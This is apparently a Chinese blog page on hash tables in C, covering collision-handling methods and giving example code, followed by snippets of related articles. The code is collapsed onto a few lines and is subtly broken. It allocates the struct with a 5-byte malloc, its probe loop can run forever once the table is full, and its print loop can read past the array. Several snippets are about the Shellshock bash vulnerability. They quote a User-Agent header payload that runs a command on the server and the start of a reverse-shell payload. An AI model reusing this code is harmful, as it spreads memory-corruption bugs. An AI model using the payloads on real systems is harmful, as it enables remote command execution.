HASH表的创建(C语言)

article/2025/9/17 18:05:34

HASH表的创建(C语言)


一、简介:

哈希表又称散列表。哈希表存储的基本思想是:以数据表中的每个记录的关键字 key为自变量,通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间(即数组空间)的单元地址(即下标),将该记录存储到这个单元中。在此称该函数H为哈函数或散列函数。按这种方法建立的表称为哈希表或散列表。

二、哈希冲突:

不同key值产生相同的地址,H(key1)=H(key2)

处理冲突的方法:

(1)开放寻址法:, i=1,2,…, k(k<=m-1),其中H(key)为散列函数,m为散列表长,为增量序列,可有下列三种取法:
1.=1,2,3,…, m-1,称线性探测再散列;
2…,(k<=m/2)称二次探测再散列;
3.=伪随机数序列,称伪随机探测再散列。
最终存储结果 55 1 23 14 68 11 37 19 86
(2)再散列法:,i=1,2,…,k。均是不同的散列函数,即在同义词产生地址冲突时计算另一个散列函数地址,直到冲突不再发生,这种方法不易产生“聚集”,但增加了计算时间

(3)链地址法(拉链法):将所有关键字为同义词的记录存储在同一线性链表中,产生hash冲突后在存储数据后面加一个指针,指向后面冲突的数据:
img

三、代码

#include<stdio.h>
#include<stdlib.h>
#define NUM 5
typedef struct HashList
{int num;			//表内当前的数据个数char *data;			//保存数据的数组
}HashList;//hash表的初始化
HashList *initList()
{HashList *list = (HashList *)malloc(sizeof(char)*NUM);list->num = 0;list->data = (char*)malloc(sizeof(char)*NUM);for(int i = 0;i < NUM;i++){list->data[i] = 0;		//将表内元素初始化为0}return list;
}//获取位置的下标
int hash(int data)
{return data % NUM;
}//放入哈希表
void put(HashList *list,char data)
{int index = hash(data);		//获取下标if(list->data[index] != 0){int count = 1;			//计数,便于解决冲突while(list->data[index] != 0){index = hash(hash(data) + count);	//解决冲突,如果下标位置有数据,则下标+1,直至下标位置上没有数据count++;}}list->data[index] = data;
}int main()
{HashList *list = initList();char str[10];scanf("%s",str);int i;for(i = 0;str[i] != '\0';i++){put(list,str[i]);}int j = 0;while(j<i){printf("%c\n",list->data[j++]);}
}

http://chatgpt.dhexx.cn/article/6pWjDU2C.shtml

相关文章

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…

LINUX漏洞复现篇之ShellShock漏洞

简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令 此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shel…

详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

本篇文章适合初学ShellShock漏洞阅读&#xff0c;如果您已经学习过ShellShock漏洞&#xff0c;可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNgs 在学习ShellShock时分享的一点心得&#xff0c;仅供大家参考学习。 ShellShock漏洞出现时间很早&#xff0c;相信很多人也对…

Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多&#xff0c;但是影响范围不是很广泛&#xff0c;不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。 其中最最简单的方法就是使用搜索引擎的hacking技术&#xff0c;这里我使用的Google Hacking语…

Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路

&#xfeff;&#xfeff; 今日爆出一个Bash的RCE漏洞&#xff0c;威力巨大。看了看老外的分析&#xff0c;觉得有必要写一写自己对这个漏洞的理解。 首先&#xff0c;问题起因于一个命令ENV。 原型&#xff1a; env [OPTION]... [NAMEVALUE]... [COMMAND [ARGS]...] Man是…

ShellShock20.04版本

ShellShock20.04版本 Topic shellshock环境变量Bash中的函数定义Apache和CGI程序 实验环境设置 DNS Setting 将IP10.9.0.80和www.seedlab-shellshock.com连接 使用cat /etc/hosts查看DNS设置 hosts格式配置 hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网…

Shellshock漏洞复现

Shellshock漏洞复现 bash说明漏洞原理漏洞复现环境说明漏洞条件漏洞复现 bash说明 Bash是Unix shell的一种。1989年发布第一个正式版本&#xff0c;原先是计划用在GNU操作系统上&#xff0c;但能运行于大多数类Unix系统的操作系统之上。 漏洞原理 目前的Bash使用的环境变量是通…

Shellshock-破壳漏洞bash命令执行 CVE-2014-6271

影响版本 标志&#xff1a;GNU Bash < 4.3 shelshocke简介&#xff1a; shellshock即unix 系统下的bash shell的一个漏洞&#xff0c;Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞&#xff0c;向环境变量值内的函数定义后添加多余的字符串会触发此漏洞&…